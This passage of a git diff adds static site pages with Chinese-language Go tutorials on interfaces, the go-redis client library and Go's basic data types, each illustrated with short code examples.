我们再来测试一下使用指针接收者实现接口有什么区别。

+
// Cat 猫结构体类型
type Cat struct{}

// Move 使用指针接收者定义Move方法实现Mover接口
func (c *Cat) Move() {
fmt.Println("猫会动")
}
+

此时实现Mover接口的是*Cat类型,我们可以将*Cat类型的变量直接赋值给Mover接口类型的变量x。

+
var c1 = &Cat{} // c1是*Cat类型
x = c1 // 可以将c1当成Mover类型
x.Move()
+

但是不能给将Cat类型的变量赋值给Mover接口类型的变量x。

+
// 下面的代码无法通过编译
var c2 = Cat{} // c2是Cat类型
x = c2 // 不能将c2当成Mover类型
+

由于Go语言中有对指针求值的语法糖,对于值接收者实现的接口,无论使用值类型还是指针类型都没有问题。但是我们并不总是能对一个值求址,所以对于指针接收者实现的接口要额外注意。

+

类型与接口的关系​

+

一个类型实现多个接口​

+

一个类型可以同时实现多个接口,而接口间彼此独立,不知道对方的实现。例如狗不仅可以叫,还可以动。我们完全可以分别定义Sayer接口和Mover接口,具体代码示例如下。

+
// Sayer 接口
type Sayer interface {
Say()
}

// Mover 接口
type Mover interface {
Move()
}
+

Dog既可以实现Sayer接口,也可以实现Mover接口。

+
type Dog struct {
Name string
}

// 实现Sayer接口
func (d Dog) Say() {
fmt.Printf("%s会叫汪汪汪\n", d.Name)
}

// 实现Mover接口
func (d Dog) Move() {
fmt.Printf("%s会动\n", d.Name)
}
+

同一个类型实现不同的接口互相不影响使用。

+
var d = Dog{Name: "旺财"}

var s Sayer = d
var m Mover = d

s.Say() // 对Sayer类型调用Say方法
m.Move() // 对Mover类型调用Move方法
+

多种类型实现同一接口​

+

Go语言中不同的类型还可以实现同一接口。例如在我们的代码世界中不仅狗可以动,汽车也可以动。我们可以使用如下代码体现这个关系。

+
// 实现Mover接口
func (d Dog) Move() {
fmt.Printf("%s会动\n", d.Name)
}

// Car 汽车结构体类型
type Car struct {
Brand string
}

// Move Car类型实现Mover接口
func (c Car) Move() {
fmt.Printf("%s速度70迈\n", c.Brand)
}
+

这样我们在代码中就可以把狗和汽车当成一个会动的类型来处理,不必关注它们具体是什么,只需要调用它们的Move方法就可以了。

+
var obj Mover

obj = Dog{Name: "旺财"}
obj.Move()

obj = Car{Brand: "宝马"}
obj.Move()
+

上面的代码执行结果如下:

+
旺财会跑
宝马速度70迈
+

一个接口的所有方法,不一定需要由一个类型完全实现,接口的方法可以通过在类型中嵌入其他类型或者结构体来实现。

+
// WashingMachine 洗衣机
type WashingMachine interface {
wash()
dry()
}

// 甩干器
type dryer struct{}

// 实现WashingMachine接口的dry()方法
func (d dryer) dry() {
fmt.Println("甩一甩")
}

// 海尔洗衣机
type haier struct {
dryer //嵌入甩干器
}

// 实现WashingMachine接口的wash()方法
func (h haier) wash() {
fmt.Println("洗刷刷")
}
+

接口组合​

+

接口与接口之间可以通过互相嵌套形成新的接口类型,例如Go标准库io源码中就有很多接口之间互相组合的示例。

+
// src/io/io.go

type Reader interface {
Read(p []byte) (n int, err error)
}

type Writer interface {
Write(p []byte) (n int, err error)
}

type Closer interface {
Close() error
}

// ReadWriter 是组合Reader接口和Writer接口形成的新接口类型
type ReadWriter interface {
Reader
Writer
}

// ReadCloser 是组合Reader接口和Closer接口形成的新接口类型
type ReadCloser interface {
Reader
Closer
}

// WriteCloser 是组合Writer接口和Closer接口形成的新接口类型
type WriteCloser interface {
Writer
Closer
}
+

对于这种由多个接口类型组合形成的新接口类型,同样只需要实现新接口类型中规定的所有方法就算实现了该接口类型。

+

接口也可以作为结构体的一个字段,我们来看一段Go标准库sort源码中的示例。

+
// src/sort/sort.go

// Interface 定义通过索引对元素排序的接口类型
type Interface interface {
Len() int
Less(i, j int) bool
Swap(i, j int)
}


// reverse 结构体中嵌入了Interface接口
type reverse struct {
Interface
}
+

通过在结构体中嵌入一个接口类型,从而让该结构体类型实现了该接口类型,并且还可以改写该接口的方法。

+
// Less 为reverse类型添加Less方法,重写原Interface接口类型的Less方法
func (r reverse) Less(i, j int) bool {
return r.Interface.Less(j, i)
}
+

Interface类型原本的Less方法签名为Less(i, j int) bool,此处重写为r.Interface.Less(j, i),即通过将索引参数交换位置实现反转。

+

在这个示例中还有一个需要注意的地方是reverse结构体本身是不可导出的(结构体类型名称首字母小写),sort.go中通过定义一个可导出的Reverse函数来让使用者创建reverse结构体实例。

+
func Reverse(data Interface) Interface {
return &reverse{data}
}
+

这样做的目的是保证得到的reverse结构体中的Interface属性一定不为nil,否者r.Interface.Less(j, i)就会出现空指针panic。

+

此外在Go内置标准库database/sql中也有很多类似的结构体内嵌接口类型的使用示例,各位读者可自行查阅。

+

空接口​

+

空接口的定义​

+

空接口是指没有定义任何方法的接口类型。因此任何类型都可以视为实现了空接口。也正是因为空接口类型的这个特性,空接口类型的变量可以存储任意类型的值。

+
package main

import "fmt"

// 空接口

// Any 不包含任何方法的空接口类型
type Any interface{}

// Dog 狗结构体
type Dog struct{}

func main() {
var x Any

x = "你好" // 字符串型
fmt.Printf("type:%T value:%v\n", x, x)
x = 100 // int型
fmt.Printf("type:%T value:%v\n", x, x)
x = true // 布尔型
fmt.Printf("type:%T value:%v\n", x, x)
x = Dog{} // 结构体类型
fmt.Printf("type:%T value:%v\n", x, x)
}
+

通常我们在使用空接口类型时不必使用type关键字声明,可以像下面的代码一样直接使用interface{}。

+
var x interface{}  // 声明一个空接口类型变量x
+

空接口的应用​

+

空接口作为函数的参数​

+

使用空接口实现可以接收任意类型的函数参数。

+
// 空接口作为函数参数
func show(a interface{}) {
fmt.Printf("type:%T value:%v\n", a, a)
}
+

空接口作为map的值​

+

使用空接口实现可以保存任意值的字典。

+
// 空接口作为map值
var studentInfo = make(map[string]interface{})
studentInfo["name"] = "沙河娜扎"
studentInfo["age"] = 18
studentInfo["married"] = false
fmt.Println(studentInfo)
+

接口值​

+

由于接口类型的值可以是任意一个实现了该接口的类型值,所以接口值除了需要记录具体值之外,还需要记录这个值属于的类型。也就是说接口值由“类型”和“值”组成,鉴于这两部分会根据存入值的不同而发生变化,我们称之为接口的动态类型和动态值。

+

接口值示例

+

我们接下来通过一个示例来加深对接口值的理解。

+

下面的示例代码中,定义了一个Mover接口类型和两个实现了该接口的Dog和Car结构体类型。

+
type Mover interface {
Move()
}

type Dog struct {
Name string
}

func (d *Dog) Move() {
fmt.Println("狗在跑~")
}

type Car struct {
Brand string
}

func (c *Car) Move() {
fmt.Println("汽车在跑~")
}
+

首先,我们创建一个Mover接口类型的变量m。

+
var m Mover
+

此时,接口变量m是接口类型的零值,也就是它的类型和值部分都是nil,就如下图所示。

+

接口值示例

+

我们可以使用m == nil来判断此时的接口值是否为空。

+
fmt.Println(m == nil)  // true
+

**注意:**我们不能对一个空接口值调用任何方法,否则会产生panic。

+
m.Move() // panic: runtime error: invalid memory address or nil pointer dereference
+

接下来,我们将一个*Dog结构体指针赋值给变量m。

+
m = &Dog{Name: "旺财"}
+

此时,接口值m的动态类型会被设置为*Dog,动态值为结构体变量的拷贝。

+

接口值示例

+

然后,我们给接口变量m赋值为一个*Car类型的值。

+
var c *Car
m = c
+

这一次,接口值m的动态类型为*Car,动态值为nil。

+

接口值示例

+

**注意:**此时接口变量m与nil并不相等,因为它只是动态值的部分为nil,而动态类型部分保存着对应值的类型。

+
fmt.Println(m == nil) // false
+

接口值是支持相互比较的,当且仅当接口值的动态类型和动态值都相等时才相等。

+
var (
x Mover = new(Dog)
y Mover = new(Car)
)
fmt.Println(x == y) // false
+

但是有一种特殊情况需要特别注意,如果接口值保存的动态类型相同,但是这个动态类型不支持互相比较(比如切片),那么对它们相互比较时就会引发panic。

+
var z interface{} = []int{1, 2, 3}
fmt.Println(z == z) // panic: runtime error: comparing uncomparable type []int
+

类型断言​

+

接口值可能赋值为任意类型的值,那我们如何从接口值获取其存储的具体数据呢?

+

我们可以借助标准库fmt包的格式化打印获取到接口值的动态类型。

+
var m Mover

m = &Dog{Name: "旺财"}
fmt.Printf("%T\n", m) // *main.Dog

m = new(Car)
fmt.Printf("%T\n", m) // *main.Car
+

而fmt包内部其实是使用反射的机制在程序运行时获取到动态类型的名称。关于反射的内容我们会在后续章节详细介绍。

+

而想要从接口值中获取到对应的实际值需要使用类型断言,其语法格式如下。

+
x.(T)
+

其中:

+
    +
  • x:表示接口类型的变量
  • +
  • T:表示断言x可能是的类型。
  • +
+

该语法返回两个参数,第一个参数是x转化为T类型后的变量,第二个值是一个布尔值,若为true则表示断言成功,为false则表示断言失败。

+

举个例子:

+
var n Mover = &Dog{Name: "旺财"}
v, ok := n.(*Dog)
if ok {
fmt.Println("类型断言成功")
v.Name = "富贵" // 变量v是*Dog类型
} else {
fmt.Println("类型断言失败")
}
+

如果对一个接口值有多个实际类型需要判断,推荐使用switch语句来实现。

+
// justifyType 对传入的空接口类型变量x进行类型断言
func justifyType(x interface{}) {
switch v := x.(type) {
case string:
fmt.Printf("x is a string,value is %v\n", v)
case int:
fmt.Printf("x is a int is %v\n", v)
case bool:
fmt.Printf("x is a bool is %v\n", v)
default:
fmt.Println("unsupport type!")
}
}
+

由于接口类型变量能够动态存储不同类型值的特点,所以很多初学者会滥用接口类型(特别是空接口)来实现编码过程中的便捷。只有当有两个或两个以上的具体类型必须以相同的方式进行处理时才需要定义接口。切记不要为了使用接口类型而增加不必要的抽象,导致不必要的运行时损耗。

+

在 Go 语言中接口是一个非常重要的概念和特性,使用接口类型能够实现代码的抽象和解耦,也可以隐藏某个功能的内部实现,但是缺点就是在查看源码的时候,不太方便查找到具体实现接口的类型。

+

相信很多读者在刚接触到接口类型时都会有很多疑惑,请牢记接口是一种类型,一种抽象的类型。区别于我们在之前章节提到的那些具体类型(整型、数组、结构体类型等),它是一个只要求实现特定方法的抽象类型。

+

小技巧: 下面的代码可以在程序编译阶段验证某一结构体是否满足特定的接口类型。

+
// 摘自gin框架routergroup.go
type IRouter interface{ ... }

type RouterGroup struct { ... }

var _ IRouter = &RouterGroup{} // 确保RouterGroup实现了接口IRouter
+

上面的代码中也可以使用var _ IRouter = (*RouterGroup)(nil)进行验证。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-操作Redis/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-操作Redis/index.html new file mode 100644 index 0000000..f96426d --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-操作Redis/index.html @@ -0,0 +1,112 @@ + + + + + +Redis | wjlin0 + + + + + + + +

Redis

+

在项目开发中redis的使用也比较频繁,本文介绍了Go语言中go-redis库的基本使用。

+

Redis介绍​

+

Redis是一个开源的内存数据库,Redis提供了多种不同类型的数据结构,很多业务场景下的问题都可以很自然地映射到这些数据结构上。除此之外,通过复制、持久化和客户端分片等特性,我们可以很方便地将Redis扩展成一个能够包含数百GB数据、每秒处理上百万次请求的系统。

+

Redis支持的数据结构​

+

Redis支持诸如字符串(string)、哈希(hashe)、列表(list)、集合(set)、带范围查询的排序集合(sorted set)、bitmap、hyperloglog、带半径查询的地理空间索引(geospatial index)和流(stream)等数据结构。

+

Redis应用场景​

+
    +
  • 缓存系统,减轻主数据库(MySQL)的压力。
  • +
  • 计数场景,比如微博、抖音中的关注数和粉丝数。
  • +
  • 热门排行榜,需要排序的场景特别适合使用ZSET。
  • +
  • 利用 LIST 可以实现队列的功能。
  • +
  • 利用 HyperLogLog 统计UV、PV等数据。
  • +
  • 使用 geospatial index 进行地理位置相关查询。
  • +
+

准备Redis环境​

+

读者可以选择在本机安装 redis 或使用云数据库,这里直接使用Docker启动一个 redis 环境,方便学习使用。

+

使用下面的命令启动一个名为 redis507 的 5.0.7 版本的 redis server环境。

+
docker run --name redis507 -p 6379:6379 -d redis:5.0.7
+

**注意:**此处的版本、容器名和端口号可以根据自己需要设置。

+

启动一个 redis-cli 连接上面的 redis server。

+
docker run -it --network host --rm redis:5.0.7 redis-cli
+

go-redis库​

+

安装​

+

Go 社区中目前有很多成熟的 redis client 库,比如[https://github.com/gomodule/redigo 和https://github.com/go-redis/redis,读者可以自行选择适合自己的库。本书使用 go-redis 这个库来操作 Redis 数据库。

+

使用以下命令下安装 go-redis 库。

+
go get github.com/go-redis/redis/v8
+

连接​

+

普通连接模式​

+

go-redis 库中使用 redis.NewClient 函数连接 Redis 服务器。

+
rdb := redis.NewClient(&redis.Options{
Addr: "localhost:6379",
Password: "", // 密码
DB: 0, // 数据库
PoolSize: 20, // 连接池大小
})
+

除此之外,还可以使用 redis.ParseURL 函数从表示数据源的字符串中解析得到 Redis 服务器的配置信息。

+
opt, err := redis.ParseURL("redis://<user>:<pass>@localhost:6379/<db>")
if err != nil {
panic(err)
}

rdb := redis.NewClient(opt)
+

TLS连接模式​

+

如果使用的是 TLS 连接方式,则需要使用 tls.Config 配置。

+
rdb := redis.NewClient(&redis.Options{
TLSConfig: &tls.Config{
MinVersion: tls.VersionTLS12,
// Certificates: []tls.Certificate{cert},
// ServerName: "your.domain.com",
},
})
+

Redis Sentinel模式​

+

使用下面的命令连接到由 Redis Sentinel 管理的 Redis 服务器。

+
rdb := redis.NewFailoverClient(&redis.FailoverOptions{
MasterName: "master-name",
SentinelAddrs: []string{":9126", ":9127", ":9128"},
})
+

Redis Cluster模式​

+

使用下面的命令连接到 Redis Cluster,go-redis 支持按延迟或随机路由命令。

+
rdb := redis.NewClusterClient(&redis.ClusterOptions{
Addrs: []string{":7000", ":7001", ":7002", ":7003", ":7004", ":7005"},

// 若要根据延迟或随机路由命令,请启用以下命令之一
// RouteByLatency: true,
// RouteRandomly: true,
})
+

基本使用​

+

执行命令​

+

下面的示例代码演示了 go-redis 库的基本使用。

+
// doCommand go-redis基本使用示例
func doCommand() {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

// 执行命令获取结果
val, err := rdb.Get(ctx, "key").Result()
fmt.Println(val, err)

// 先获取到命令对象
cmder := rdb.Get(ctx, "key")
fmt.Println(cmder.Val()) // 获取值
fmt.Println(cmder.Err()) // 获取错误

// 直接执行命令获取错误
err = rdb.Set(ctx, "key", 10, time.Hour).Err()

// 直接执行命令获取值
value := rdb.Get(ctx, "key").Val()
fmt.Println(value)
}
+

执行任意命令​

+

go-redis 还提供了一个执行任意命令或自定义命令的 Do 方法,特别是一些 go-redis 库暂时不支持的命令都可以使用该方法执行。具体使用方法如下。

+
// doDemo rdb.Do 方法使用示例
func doDemo() {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

// 直接执行命令获取错误
err := rdb.Do(ctx, "set", "key", 10, "EX", 3600).Err()
fmt.Println(err)

// 执行命令获取结果
val, err := rdb.Do(ctx, "get", "key").Result()
fmt.Println(val, err)
}
+

redis.Nil​

+

go-redis 库提供了一个 redis.Nil 错误来表示 Key 不存在的错误。因此在使用 go-redis 时需要注意对返回错误的判断。在某些场景下我们应该区别处理 redis.Nil 和其他不为 nil 的错误。

+
// getValueFromRedis redis.Nil判断
func getValueFromRedis(key, defaultValue string) (string, error) {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

val, err := rdb.Get(ctx, key).Result()
if err != nil {
// 如果返回的错误是key不存在
if errors.Is(err, redis.Nil) {
return defaultValue, nil
}
// 出其他错了
return "", err
}
return val, nil
}
+

其他示例​

+

zset示例​

+

下面的示例代码演示了如何使用 go-redis 库操作 zset。

+
// zsetDemo 操作zset示例
func zsetDemo() {
// key
zsetKey := "language_rank"
// value
languages := []*redis.Z{
{Score: 90.0, Member: "Golang"},
{Score: 98.0, Member: "Java"},
{Score: 95.0, Member: "Python"},
{Score: 97.0, Member: "JavaScript"},
{Score: 99.0, Member: "C/C++"},
}
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

// ZADD
err := rdb.ZAdd(ctx, zsetKey, languages...).Err()
if err != nil {
fmt.Printf("zadd failed, err:%v\n", err)
return
}
fmt.Println("zadd success")

// 把Golang的分数加10
newScore, err := rdb.ZIncrBy(ctx, zsetKey, 10.0, "Golang").Result()
if err != nil {
fmt.Printf("zincrby failed, err:%v\n", err)
return
}
fmt.Printf("Golang's score is %f now.\n", newScore)

// 取分数最高的3个
ret := rdb.ZRevRangeWithScores(ctx, zsetKey, 0, 2).Val()
for _, z := range ret {
fmt.Println(z.Member, z.Score)
}

// 取95~100分的
op := &redis.ZRangeBy{
Min: "95",
Max: "100",
}
ret, err = rdb.ZRangeByScoreWithScores(ctx, zsetKey, op).Result()
if err != nil {
fmt.Printf("zrangebyscore failed, err:%v\n", err)
return
}
for _, z := range ret {
fmt.Println(z.Member, z.Score)
}
}
+

执行上面的函数将得到如下输出结果。

+
zadd success
Golang's score is 100.000000 now.
Golang 100
C/C++ 99
Java 98
Python 95
JavaScript 97
Java 98
C/C++ 99
Golang 100
+

扫描或遍历所有key​

+

你可以使用KEYS prefix:* 命令按前缀获取所有 key。

+
vals, err := rdb.Keys(ctx, "prefix*").Result()
+

但是如果需要扫描数百万的 key ,那速度就会比较慢。这种场景下你可以使用Scan 命令来遍历所有符合要求的 key。

+
// scanKeysDemo1 按前缀查找所有key示例
func scanKeysDemo1() {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

var cursor uint64
for {
var keys []string
var err error
// 按前缀扫描key
keys, cursor, err = rdb.Scan(ctx, cursor, "prefix:*", 0).Result()
if err != nil {
panic(err)
}

for _, key := range keys {
fmt.Println("key", key)
}

if cursor == 0 { // no more keys
break
}
}
}
+

Go-redis 允许将上面的代码简化为如下示例。

+
// scanKeysDemo2 按前缀扫描key示例
func scanKeysDemo2() {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()
// 按前缀扫描key
iter := rdb.Scan(ctx, 0, "prefix:*", 0).Iterator()
for iter.Next(ctx) {
fmt.Println("keys", iter.Val())
}
if err := iter.Err(); err != nil {
panic(err)
}
}
+

例如,我们可以写出一个将所有匹配指定模式的 key 删除的示例。

+
// delKeysByMatch 按match格式扫描所有key并删除
func delKeysByMatch(match string, timeout time.Duration) {
ctx, cancel := context.WithTimeout(context.Background(), timeout)
defer cancel()

iter := rdb.Scan(ctx, 0, match, 0).Iterator()
for iter.Next(ctx) {
err := rdb.Del(ctx, iter.Val()).Err()
if err != nil {
panic(err)
}
}
if err := iter.Err(); err != nil {
panic(err)
}
}
+

此外,对于 Redis 中的 set、hash、zset 数据类型,go-redis 也支持类似的遍历方法。

+
iter := rdb.SScan(ctx, "set-key", 0, "prefix:*", 0).Iterator()
iter := rdb.HScan(ctx, "hash-key", 0, "prefix:*", 0).Iterator()
iter := rdb.ZScan(ctx, "sorted-hash-key", 0, "prefix:*", 0).Iterator(
+

Pipeline​

+

Redis Pipeline 允许通过使用单个 client-server-client 往返执行多个命令来提高性能。区别于一个接一个地执行100个命令,你可以将这些命令放入 pipeline 中,然后使用1次读写操作像执行单个命令一样执行它们。这样做的好处是节省了执行命令的网络往返时间(RTT)。

+

y在下面的示例代码中演示了使用 pipeline 通过一个 write + read 操作来执行多个命令。

+
pipe := rdb.Pipeline()

incr := pipe.Incr(ctx, "pipeline_counter")
pipe.Expire(ctx, "pipeline_counter", time.Hour)

cmds, err := pipe.Exec(ctx)
if err != nil {
panic(err)
}

// 在执行pipe.Exec之后才能获取到结果
fmt.Println(incr.Val())
+

上面的代码相当于将以下两个命令一次发给 Redis Server 端执行,与不使用 Pipeline 相比能减少一次RTT。

+
INCR pipeline_counter
EXPIRE pipeline_counts 3600
+

或者,你也可以使用Pipelined 方法,它会在函数退出时调用 Exec。

+
var incr *redis.IntCmd

cmds, err := rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {
incr = pipe.Incr(ctx, "pipelined_counter")
pipe.Expire(ctx, "pipelined_counter", time.Hour)
return nil
})
if err != nil {
panic(err)
}

// 在pipeline执行后获取到结果
fmt.Println(incr.Val())
+

我们可以遍历 pipeline 命令的返回值依次获取每个命令的结果。下方的示例代码中使用pipiline一次执行了100个 Get 命令,在pipeline 执行后遍历取出100个命令的执行结果。

+
cmds, err := rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {
for i := 0; i < 100; i++ {
pipe.Get(ctx, fmt.Sprintf("key%d", i))
}
return nil
})
if err != nil {
panic(err)
}

for _, cmd := range cmds {
fmt.Println(cmd.(*redis.StringCmd).Val())
}
+

在那些我们需要一次性执行多个命令的场景下,就可以考虑使用 pipeline 来优化。

+

事务​

+

Redis 是单线程执行命令的,因此单个命令始终是原子的,但是来自不同客户端的两个给定命令可以依次执行,例如在它们之间交替执行。但是,Multi/exec能够确保在multi/exec两个语句之间的命令之间没有其他客户端正在执行命令。

+

在这种场景我们需要使用 TxPipeline 或 TxPipelined 方法将 pipeline 命令使用 MULTI 和EXEC包裹起来。

+
// TxPipeline demo
pipe := rdb.TxPipeline()
incr := pipe.Incr(ctx, "tx_pipeline_counter")
pipe.Expire(ctx, "tx_pipeline_counter", time.Hour)
_, err := pipe.Exec(ctx)
fmt.Println(incr.Val(), err)

// TxPipelined demo
var incr2 *redis.IntCmd
_, err = rdb.TxPipelined(ctx, func(pipe redis.Pipeliner) error {
incr2 = pipe.Incr(ctx, "tx_pipeline_counter")
pipe.Expire(ctx, "tx_pipeline_counter", time.Hour)
return nil
})
fmt.Println(incr2.Val(), err)
+

上面代码相当于在一个RTT下执行了下面的redis命令:

+
MULTI
INCR pipeline_counter
EXPIRE pipeline_counts 3600
EXEC
+

Watch​

+

我们通常搭配 WATCH命令来执行事务操作。从使用WATCH命令监视某个 key 开始,直到执行EXEC命令的这段时间里,如果有其他用户抢先对被监视的 key 进行了替换、更新、删除等操作,那么当用户尝试执行EXEC的时候,事务将失败并返回一个错误,用户可以根据这个错误选择重试事务或者放弃事务。

+

Watch方法接收一个函数和一个或多个key作为参数。

+
Watch(fn func(*Tx) error, keys ...string) error
+

下面的代码片段演示了 Watch 方法搭配 TxPipelined 的使用示例。

+
// watchDemo 在key值不变的情况下将其值+1
func watchDemo(ctx context.Context, key string) error {
return rdb.Watch(ctx, func(tx *redis.Tx) error {
n, err := tx.Get(ctx, key).Int()
if err != nil && err != redis.Nil {
return err
}
// 假设操作耗时5秒
// 5秒内我们通过其他的客户端修改key,当前事务就会失败
time.Sleep(5 * time.Second)
_, err = tx.TxPipelined(ctx, func(pipe redis.Pipeliner) error {
pipe.Set(ctx, key, n+1, time.Hour)
return nil
})
return err
}, key)
}
+

将上面的函数执行并打印其返回值,如果我们在程序运行后的5秒内修改了被 watch 的 key 的值,那么该事务操作失败,返回redis: transaction failed错误。

+

最后我们来看一个 go-redis 官方文档中使用 GET 、SET和WATCH命令实现一个 INCR 命令的完整示例。

+
const routineCount = 100

increment := func(key string) error {
txf := func(tx *redis.Tx) error {
// 获得当前值或零值
n, err := tx.Get(key).Int()
if err != nil && err != redis.Nil {
return err
}

// 实际操作(乐观锁定中的本地操作)
n++

// 仅在监视的Key保持不变的情况下运行
_, err = tx.Pipelined(func(pipe redis.Pipeliner) error {
// pipe 处理错误情况
pipe.Set(key, n, 0)
return nil
})
return err
}

for retries := routineCount; retries > 0; retries-- {
err := rdb.Watch(txf, key)
if err != redis.TxFailedErr {
return err
}
// 乐观锁丢失
}
return errors.New("increment reached maximum number of retries")
}

var wg sync.WaitGroup
wg.Add(routineCount)
for i := 0; i < routineCount; i++ {
go func() {
defer wg.Done()

if err := increment("counter3"); err != nil {
fmt.Println("increment error:", err)
}
}()
}
wg.Wait()

n, err := rdb.Get("counter3").Int()
fmt.Println("ended with", n, err)
+

在这个示例中使用了 redis.TxFailedErr 来检查事务是否失败。

+

更多详情请查阅文档。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数据类型/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数据类型/index.html new file mode 100644 index 0000000..4b61275 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数据类型/index.html @@ -0,0 +1,217 @@ + + + + + +Go语言基础之基本数据类型 | wjlin0 + + + + + + + +

Go语言基础之基本数据类型

+

整型​

+

整型分为以下两个大类: 按长度分为:int8、int16、int32、int64 对应的无符号整型:uint8、uint16、uint32、uint64

+

其中,uint8就是我们熟知的byte型,int16对应C语言中的short型,int64对应C语言中的long型。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
类型描述
uint8无符号 8位整型 (0 到 255)
uint16无符号 16位整型 (0 到 65535)
uint32无符号 32位整型 (0 到 4294967295)
uint64无符号 64位整型 (0 到 18446744073709551615)
int8有符号 8位整型 (-128 到 127)
int16有符号 16位整型 (-32768 到 32767)
int32有符号 32位整型 (-2147483648 到 2147483647)
int64有符号 64位整型 (-9223372036854775808 到 9223372036854775807)
+

特殊整型​

+ + + + + + + + + + + + + + + + + + + + + +
类型描述
uint32位操作系统上就是uint32,64位操作系统上就是uint64
int32位操作系统上就是int32,64位操作系统上就是int64
uintptr无符号整型,用于存放一个指针
+

注意: 在使用int和 uint类型时,不能假定它是32位或64位的整型,而是考虑int和uint可能在不同平台上的差异。

+

注意事项 获取对象的长度的内建len()函数返回的长度可以根据不同平台的字节长度进行变化。实际使用中,切片或 map 的元素数量等都可以用int来表示。在涉及到二进制传输、读写文件的结构描述时,为了保持文件的结构不会受到不同编译目标平台字节长度的影响,不要使用int和 uint。

+

数字字面量语法(Number literals syntax)​

+

Go1.13版本之后引入了数字字面量语法,这样便于开发者以二进制、八进制或十六进制浮点数的格式定义数字,例如:

+

v := 0b00101101, 代表二进制的 101101,相当于十进制的 45。 v := 0o377,代表八进制的 377,相当于十进制的 255。 v := 0x1p-2,代表十六进制的 1 除以 2²,也就是 0.25。

+

而且还允许我们用 _ 来分隔数字,比如说: v := 123_456 表示 v 的值等于 123456。

+

我们可以借助fmt函数来将一个整数以不同进制形式展示。

+
package main

import "fmt"

func main(){
// 十进制
var a int = 10
fmt.Printf("%d \n", a) // 10
fmt.Printf("%b \n", a) // 1010 占位符%b表示二进制

// 八进制 以0开头
var b int = 077
fmt.Printf("%o \n", b) // 77

// 十六进制 以0x开头
var c int = 0xff
fmt.Printf("%x \n", c) // ff
fmt.Printf("%X \n", c) // FF
}
+

浮点型​

+

Go语言支持两种浮点型数:float32和float64。这两种浮点型数据格式遵循IEEE 754标准: float32 的浮点数的最大范围约为 3.4e38,可以使用常量定义:math.MaxFloat32。 float64 的浮点数的最大范围约为 1.8e308,可以使用一个常量定义:math.MaxFloat64。

+

打印浮点数时,可以使用fmt包配合动词%f,代码如下:

+
package main
import (
"fmt"
"math"
)
func main() {
fmt.Printf("%f\n", math.Pi)
fmt.Printf("%.2f\n", math.Pi)
}
+

复数​

+

complex64和complex128

+
var c1 complex64
c1 = 1 + 2i
var c2 complex128
c2 = 2 + 3i
fmt.Println(c1)
fmt.Println(c2)
+

复数有实部和虚部,complex64的实部和虚部为32位,complex128的实部和虚部为64位。

+

布尔值​

+

Go语言中以bool类型进行声明布尔型数据,布尔型数据只有true(真)和false(假)两个值。

+

注意:

+
    +
  1. 布尔类型变量的默认值为false。
  2. +
  3. Go 语言中不允许将整型强制转换为布尔型.
  4. +
  5. 布尔型无法参与数值运算,也无法与其他类型进行转换。
  6. +
+

字符串​

+

Go语言中的字符串以原生数据类型出现,使用字符串就像使用其他原生数据类型(int、bool、float32、float64 等)一样。 Go 语言里的字符串的内部实现使用UTF-8编码。 字符串的值为双引号(")中的内容,可以在Go语言的源码中直接添加非ASCII码字符,例如:

+
s1 := "hello"
s2 := "你好"
+

字符串转义符​

+

Go 语言的字符串常见转义符包含回车、换行、单双引号、制表符等,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
转义符含义
\r回车符(返回行首)
\n换行符(直接跳到下一行的同列位置)
\t制表符
\'单引号
\"双引号
\\反斜杠
+

举个例子,我们要打印一个Windows平台下的一个文件路径:

+
package main
import (
"fmt"
)
func main() {
fmt.Println("str := \"c:\\Code\\lesson1\\go.exe\"")
}
+

多行字符串​

+

Go语言中要定义一个多行字符串时,就必须使用反引号字符:

+
s1 := `第一行
第二行
第三行
`
fmt.Println(s1)
+

反引号间换行将被作为字符串中的换行,但是所有的转义字符均无效,文本将会原样输出。

+

字符串的常用操作​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法介绍
len(str)求长度
+或fmt.Sprintf拼接字符串
strings.Split分割
strings.contains判断是否包含
strings.HasPrefix,strings.HasSuffix前缀/后缀判断
strings.Index(),strings.LastIndex()子串出现的位置
strings.Join(a[]string, sep string)join操作
+

byte和rune类型​

+

组成每个字符串的元素叫做“字符”,可以通过遍历或者单个获取字符串元素获得字符。 字符用单引号(’)包裹起来,如:

+
var a = '中'
var b = 'x'
+

Go 语言的字符有以下两种:

+
    +
  1. uint8类型,或者叫 byte 型,代表一个ASCII码字符。
  2. +
  3. rune类型,代表一个 UTF-8字符。
  4. +
+

当需要处理中文、日文或者其他复合字符时,则需要用到rune类型。rune类型实际是一个int32。

+

Go 使用了特殊的 rune 类型来处理 Unicode,让基于 Unicode 的文本处理更为方便,也可以使用 byte 型进行默认字符串处理,性能和扩展性都有照顾。

+
// 遍历字符串
func traversalString() {
s := "hello沙河"
for i := 0; i < len(s); i++ { //byte
fmt.Printf("%v(%c) ", s[i], s[i])
}
fmt.Println()
for _, r := range s { //rune
fmt.Printf("%v(%c) ", r, r)
}
fmt.Println()
}
+

输出:

+
104(h) 101(e) 108(l) 108(l) 111(o) 230(æ) 178(²) 153() 230(æ) 178(²) 179(³) 
104(h) 101(e) 108(l) 108(l) 111(o) 27801(沙) 27827(河)
+

因为UTF8编码下一个中文汉字由3~4个字节组成,所以我们不能简单的按照字节去遍历一个包含中文的字符串,否则就会出现上面输出中第一行的结果。

+

